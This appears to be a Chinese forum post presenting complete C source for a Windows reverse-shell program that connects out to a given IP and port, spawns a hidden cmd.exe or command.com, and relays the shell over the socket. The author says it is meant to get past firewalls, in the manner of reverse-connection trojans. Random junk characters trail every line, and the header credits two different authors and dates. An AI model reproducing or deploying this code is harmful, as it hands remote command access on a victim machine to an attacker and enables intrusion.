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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :s? y,  
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/* ============================== 1Q3%!~<\s  
Rebound port in Windows NT T9,lblU Q  
By wind,2006/7 ]ZBgE\[  
===============================*/ }P7xdQ6  
#include sz){uOI  
#include oo"JMD)  
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#pragma comment(lib,"wsock32.lib") wpJ^}+kF  
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void OutputShell(); ~0:$G?fz  
SOCKET sClient; (2&K (1.Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N$L&|4r  
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void main(int argc,char **argv) m|g$'vjk  
{ ,5%aP%  
WSADATA stWsaData; #<^/yoH7C6  
int nRet; u&Ie%@:h9R  
SOCKADDR_IN stSaiClient,stSaiServer; b3jU~L$  
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if(argc != 3) \3 O-} n1S  
{ s7X~OF(#  
printf("Useage:\n\rRebound DestIP DestPort\n"); A_8`YN"Xk  
return; =iPd@f"$  
} ]ys4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'R-JQ E-]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -+Awm{X_@  
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stSaiClient.sin_family = AF_INET; C=pPI  
stSaiClient.sin_port = htons(0); P+D|_3j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0*'`%W+5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ) J:'5hz  
{ [0%Gu 5_\  
printf("Bind Socket Failed!\n"); /s-jR]#VA  
return; [ a65VR~J  
} OM#OPB rB  
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stSaiServer.sin_family = AF_INET; GurE7J^=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :@z5& h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <aQ; "O~   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'AlSq:gZ  
{ D aqy+:  
printf("Connect Error!"); [F9KC^%S  
return; uk>/I l  
} , T%pGku  
OutputShell(); D;#Yn M3  
} BIB>U W  
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void OutputShell() 8b#Yd  
{ K]=>F  
char szBuff[1024]; &#EVE xL  
SECURITY_ATTRIBUTES stSecurityAttributes; @|*Z0bn'  
OSVERSIONINFO stOsversionInfo; 9gIJX?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QW"6]  
STARTUPINFO stStartupInfo; qh'f,#dI}  
char *szShell; c75vAKZ2  
PROCESS_INFORMATION stProcessInformation; VRN9yn2  
unsigned long lBytesRead; K+TTYQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MBTt'6M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -gX2{dW  
stSecurityAttributes.lpSecurityDescriptor = 0; 0 Vgn N  
stSecurityAttributes.bInheritHandle = TRUE; b42pLbpe'E  
9+;f1nV  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D;8V{Hs  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zSM7x  
LB ^^e"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :phD?\!w8t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #dm@%~B{.  
stStartupInfo.wShowWindow = SW_HIDE; I4p= ?Ds  
stStartupInfo.hStdInput = hReadPipe; zinl.8Uk  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _!g NF=  
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GetVersionEx(&stOsversionInfo); u2\qg;dP  
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switch(stOsversionInfo.dwPlatformId) S^"e5n2  
{ GSb)|mj  
case 1: (cew:z H  
szShell = "command.com"; *b l{F\  
break; `; %aQR  
default: l@F e(^5E  
szShell = "cmd.exe"; ={0{X9t?'j  
break; a7d-  
} `A{~}6jw  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m@2xC,@  
4< >:]  
send(sClient,szMsg,77,0); P87Fg  
while(1) S_;:iC]B  
{ !! #ale&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q+M3Pqy  
if(lBytesRead) k GeME   
{ <RsKV$Je I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~{!!=@6  
send(sClient,szBuff,lBytesRead,0); !D5`8   
} Sf:lN4  
else P(+ar#,G  
{ HON[{Oq  
lBytesRead=recv(sClient,szBuff,1024,0); 5|t&qUV  
if(lBytesRead<=0) break; &.4a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XdVC>6  
} = gyK*F(RK  
} CfnCi_=[`  
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return; P.J}\;S T  
}
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